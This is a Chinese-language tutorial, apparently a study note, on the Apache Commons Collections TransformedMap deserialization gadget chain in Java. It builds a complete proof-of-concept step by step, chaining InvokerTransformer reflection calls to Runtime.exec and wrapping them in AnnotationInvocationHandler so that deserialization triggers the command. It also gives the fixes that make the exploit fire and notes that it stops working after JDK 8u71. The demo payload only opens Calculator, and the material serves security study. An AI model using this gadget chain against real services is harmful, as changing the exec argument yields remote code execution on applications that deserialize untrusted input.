CommonsCollections

TransformedMap

这条并不是ysoserial中的利用链,而利用TransformedMap改造的简化版。 来源于P牛:phith0n/CommonsCollectionsIntro.java

完整代码1

  1. import org.apache.commons.collections.Transformer;
  2. import org.apache.commons.collections.functors.ChainedTransformer;
  3. import org.apache.commons.collections.functors.ConstantTransformer;
  4. import org.apache.commons.collections.functors.InvokerTransformer;
  5. import org.apache.commons.collections.map.TransformedMap;
  6. import java.util.HashMap;
  7. import java.util.Map;
  8. public class CommonCollections1 {
  9. public static void main(String[] args) throws Exception {
  10. Transformer[] transformers = new Transformer[]{
  11. new ConstantTransformer(Runtime.getRuntime()),
  12. new InvokerTransformer(
  13. "exec",
  14. new Class[]{String.class},
  15. new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}
  16. ),
  17. };
  18. Transformer transformerChain = new ChainedTransformer(transformers);
  19. Map innerMap = new HashMap();
  20. Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
  21. outerMap.put("test", "xxxx");
  22. }
  23. }

TransformedMap

TransformedMap,⽤于对Map类型的对象做修饰,被修饰过的Map在添加新的元素时,将可以执⾏⼀个回调。
如下,传入变量innerMap,返回outerMapouterMap在添加新元素时,keyTransformer是处理新元素的Key的回调,valueTransformer是处理新元素的Value的回调,处理后得到的返回值才会被添加进outerMap

  1. Map outerMap = TransformedMap.decorate(innerMap, keyTransformer, valueTransformer);

这里的回调是指实现了Transformer接⼝的类,该类只有一个待实现的方法

  1. public interface Transformer {
  2. public Object transform(Object input);
  3. }

ConstantTransformer

  • ConstantTransformer是实现了transform接口的类,它的作用是直接返回传入的对象
  • 这里传入的是Runtime.getRuntime(),所以将会返回Runtime对象 ```java new ConstantTransformer(Runtime.getRuntime())
  1. <a name="FO34H"></a>
  2. ### InvokerTransformer
  3. - `InvokerTransformer`是实现了`transform`接口的类,它的作用是通过反射调用指定类的指定方法,并将调用结果返回,这个正是执行恶意命令的核心类
  4. - 实例化这个类时需要传⼊三个参数
  5. - 第⼀个参数是待执⾏的⽅法名
  6. - 第⼆个参数是这个函数的参数列表的参数类型
  7. - 第三个参数是传给这个函数的参数列表
  8. ```java
  9. new InvokerTransformer(
  10. "exec",
  11. new Class[]{String.class},
  12. new Object[] {
  13. "/System/Applications/Calculator.app/Contents/MacOS/Calculator"
  14. }
  15. )

ChainedTransformer

ChainedTransformer,Transformer利用链。该类会对传入的Transformer数组进行链式调用,将前一个Transformer的执行结果当作参数传递到下一个,直至全部Transformer执行完毕后返回

  1. // org.apache.commons.collections.functors.ChainedTransformer
  2. public Object transform(Object object) {
  3. for(int i = 0; i < this.iTransformers.length; ++i) {
  4. object = this.iTransformers[i].transform(object);
  5. }
  6. return object;
  7. }

POC代码中创建了⼀条ChainedTransformer,其中包含了ConstantTransformerInvokerTransformer。这两条Transformer组合得到的回调顺序为:先调用ConstantTransformer并返回一个Runtime对象,然后调用InvokerTransformer,执行exec方法,参数为Calc

  1. Transformer[] transformers = new Transformer[]{
  2. new ConstantTransformer(Runtime.getRuntime()),
  3. new InvokerTransformer(
  4. "exec",
  5. new Class[]{String.class},
  6. new Object[]{
  7. "/System/Applications/Calculator.app/Contents/MacOS/Calculator"
  8. }),
  9. };
  10. Transformer transformerChain = new ChainedTransformer(transformers);

然后通过TransformedMap.decorate()方法,使用这条利用链修饰innerMap,得到outerMap

  1. Map innerMap = new HashMap();
  2. Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

最后只需要往outerMap中添加新元素,即可触发该利用链,进行一系列回调

  1. outerMap.put("test", "xxxx");

AnnotationInvocationHandler

当然,上⾯的代码执⾏demo,它只是⼀个⽤来在本地测试的类。在实际反序列化漏洞中,需要将 上⾯最终⽣成的outerMap对象变成⼀个序列化流。

  • 在前面Demo中,需要向修饰过的Map类的实例中添加新元素才能触发漏洞。
    • 手动添加新元素->触发利用链->触发漏洞
  • 而在实际反序列化中,则需要找到一个类,并且在它进行反序列化时,**readObject**方法中也存在类似的操作
    • 反序列化->触发readObject方法->触发利用链->触发漏洞

而这里找到的类就是sun.reflect.annotation.AnnotationInvocationHandlerreadObject方法如下:(这是8u71以前的代码,8u71以后做了一些修改)

  1. private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
  2. s.defaultReadObject();
  3. AnnotationType annotationType = null;
  4. try {
  5. annotationType = AnnotationType.getInstance(type);
  6. }
  7. catch(IllegalArgumentException e) {
  8. throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
  9. }
  10. Map<String, Class<?>> memberTypes = annotationType.memberTypes();
  11. for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
  12. String name = memberValue.getKey();
  13. Class<?> memberType = memberTypes.get(name);
  14. if (memberType != null) {
  15. Object value = memberValue.getValue();
  16. if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
  17. memberValue.setValue(
  18. new AnnotationTypeMismatchExceptionProxy(
  19. value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name) )
  20. );
  21. }
  22. }
  23. }
  24. }

核心逻辑是Map.Entry<String, Object> memberValue : memberValues.entrySet()memberValue.setValue(...)memberValues就是反序列化后得到的Map,也是经过了TransformedMap修饰的对象,这里遍历了它的所有元素,并依次设置值。在调用setValue设置值的时候就会触发TransformedMap里注册的Transform,进而执行我们为其精心设计的任意代码。

构造POC

  • 尝试使用AnnotationInvocationHandler对象生成序列化数据 ```java import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map;

public class CommonCollections { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.getRuntime()),

  1. new InvokerTransformer(
  2. "exec",
  3. new Class[]{String.class},
  4. new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}
  5. ),
  6. };
  7. Transformer transformerChain = new ChainedTransformer(transformers);
  8. Map innerMap = new HashMap();
  9. innerMap.put("test", "xxxx");
  10. Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
  11. // outerMap.put("test", "xxxx");
  12. Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  13. Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
  14. constructor.setAccessible(true);
  15. Object obj = constructor.newInstance(Retention.class, outerMap);
  16. // Serialization
  17. ByteArrayOutputStream baos = new ByteArrayOutputStream();
  18. ObjectOutputStream oos = new ObjectOutputStream(baos);
  19. oos.writeObject(obj);
  20. System.out.println(baos);
  21. // Deserialize
  22. ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
  23. ObjectInputStream ois = new ObjectInputStream(bais);
  24. ois.readObject();
  25. ois.close();
  26. bais.close();
  27. oos.close();
  28. baos.close();
  29. }

}

  1. - 运行后报错`java.io.NotSerializableException: java.lang.Runtime`
  2. <a name="R1ObE"></a>
  3. ### 修改POC
  4. > 原因是,Java中不是所有对象都支持序列化,待序列化的对象和所有它使用的内部属性对象,必须都实现了 `java.io.Serializable` 接口。
  5. > 而我们最早传给`ConstantTransformer`的是`Runtime.getRuntime()` `Runtime`类是没有实现`java.io.Serializable`接口的,所以不允许被序列化。
  6. 但可以通过反射来获取到当前上下文中的Runtime对象。这里将`Runtime.getRuntime()`换成了`Runtime.class`,前者是`java.lang.Runtime`对象,后者是`java.lang.Class`对象。因为Class类实现了Serializable接口,所以可以被序列化。
  7. - 使用`Runtime.class`时的调用链为:
  8. ```java
  9. Runtime.class.getMethod("getRuntime").invoke(null)
  • Runtime.class可以使用ConstantTransformer,这个类可以直接返回传入的对象 ```java new ConstantTransformer(Runtime.class),
  1. - `getMethod("getRuntime")`,由于`getRuntime()`方法不需要参数,所以这里传入的`new Class[0]`只是占位符而已,修改为`null`也可以
  2. ```java
  3. new InvokerTransformer(
  4. "getMethod",
  5. new Class[]{String.class, Class[].class},
  6. new Object[] {"getRuntime", new Class[0]}
  7. )
  • invoke(null),这里的new Object[0]同样是占位符

    1. new InvokerTransformer(
    2. "invoke",
    3. new Class[] {Object.class, Object[].class},
    4. new Object[] {null, new Object[0]}
    5. )
  • 创建一个TestCC.java文件,将前面的整合起来跑一下,可以正常弹出计算器 ```java import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer;

public class TestCC { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer( “getMethod”, new Class[]{String.class, Class[].class}, new Object[] {“getRuntime”, new Class[0]} ), new InvokerTransformer( “invoke”, new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]} ),

  1. new InvokerTransformer(
  2. "exec",
  3. new Class[]{String.class},
  4. new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}
  5. ),
  6. };
  7. Transformer transformerChain = new ChainedTransformer(transformers);
  8. Object obj = new Object();
  9. transformerChain.transform(obj);
  10. }

}

  1. - 代入到POC中,替换原来的`ConstantTransformer()`
  2. ```java
  3. Transformer[] transformers = new Transformer[] {
  4. // new ConstantTransformer(Runtime.getRuntime()),
  5. new ConstantTransformer(Runtime.class),
  6. new InvokerTransformer(
  7. "getMethod",
  8. new Class[]{String.class, Class[].class},
  9. new Object[] {"getRuntime", new Class[0]}
  10. ),
  11. new InvokerTransformer(
  12. "invoke",
  13. new Class[] {Object.class, Object[].class},
  14. new Object[] {null, new Object[0]}
  15. ),
  16. new InvokerTransformer(
  17. "exec",
  18. new Class[]{String.class},
  19. new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}
  20. ),
  21. };

完整代码2

  1. import org.apache.commons.collections.Transformer;
  2. import org.apache.commons.collections.functors.ChainedTransformer;
  3. import org.apache.commons.collections.functors.ConstantTransformer;
  4. import org.apache.commons.collections.functors.InvokerTransformer;
  5. import org.apache.commons.collections.map.TransformedMap;
  6. import java.io.ByteArrayInputStream;
  7. import java.io.ByteArrayOutputStream;
  8. import java.io.ObjectInputStream;
  9. import java.io.ObjectOutputStream;
  10. import java.lang.annotation.Retention;
  11. import java.lang.reflect.Constructor;
  12. import java.util.HashMap;
  13. import java.util.Map;
  14. public class CommonCollections {
  15. public static void main(String[] args) throws Exception {
  16. Transformer[] transformers = new Transformer[] {
  17. // new ConstantTransformer(Runtime.getRuntime()),
  18. new ConstantTransformer(Runtime.class),
  19. new InvokerTransformer(
  20. "getMethod",
  21. new Class[]{String.class, Class[].class},
  22. new Object[] {"getRuntime", new Class[0]}
  23. ),
  24. new InvokerTransformer(
  25. "invoke",
  26. new Class[] {Object.class, Object[].class},
  27. new Object[] {null, new Object[0]}
  28. ),
  29. new InvokerTransformer(
  30. "exec",
  31. new Class[]{String.class},
  32. new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}
  33. ),
  34. };
  35. Transformer transformerChain = new ChainedTransformer(transformers);
  36. Map innerMap = new HashMap();
  37. innerMap.put("test", "xxxx");
  38. // innerMap.put("value", "xxxx");
  39. Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
  40. // outerMap.put("test", "xxxx");
  41. Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  42. Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
  43. constructor.setAccessible(true);
  44. Object obj = constructor.newInstance(Retention.class, outerMap);
  45. // Serialization
  46. ByteArrayOutputStream baos = new ByteArrayOutputStream();
  47. ObjectOutputStream oos = new ObjectOutputStream(baos);
  48. oos.writeObject(obj);
  49. System.out.println(baos);
  50. // Deserialize
  51. ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
  52. ObjectInputStream ois = new ObjectInputStream(bais);
  53. Object o = (Object) ois.readObject();
  54. ois.close();
  55. bais.close();
  56. oos.close();
  57. baos.close();
  58. }
  59. }
  • 运行后输出了序列化后的数据流,但是反序列化时仍然没弹出计算器。

仍未触发漏洞

这个实际上和AnnotationInvocationHandler类的逻辑有关,我们可以动态调试就会发现,在AnnotationInvocationHandler:readObject 的逻辑中,有一个if语句对var7进行判断,只有在其不是null的时候才会进入里面执行setValue,否则不会进入也就不会触发漏洞

image.png

那么如何让这个var7不为null呢?这一块我就不详细分析了,还会涉及到Java注释相关的技术

直接给出两个条件:

  • sun.reflect.annotation.AnnotationInvocationHandler构造函数的第一个参数必须是Annotation的子类,且其中必须含有至少一个方法,假设方法名是X
  • TransformedMap.decorate修饰的Map中必须有一个键名为X的元素

这也解释了为什么我前面用到Retention.class,因为Retention有一个方法名为value;所以为了再满足第二个条件,需要给Map中放入一个Key是value的元素:

  1. // innerMap.put("test", "xxxx");
  2. innerMap.put("value", "xxxx");

image.png

高版本无法利用

JDK 8u71后修改了sun.reflect.annotation.AnnotationInvocationHandlerreadObject函数,改动后,不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去。 所以,后续对Map的操作都是基于这个新的LinkedHashMap对象,而原来我们精心构造的Map不再执行setput操作,也就不会触发RCE了。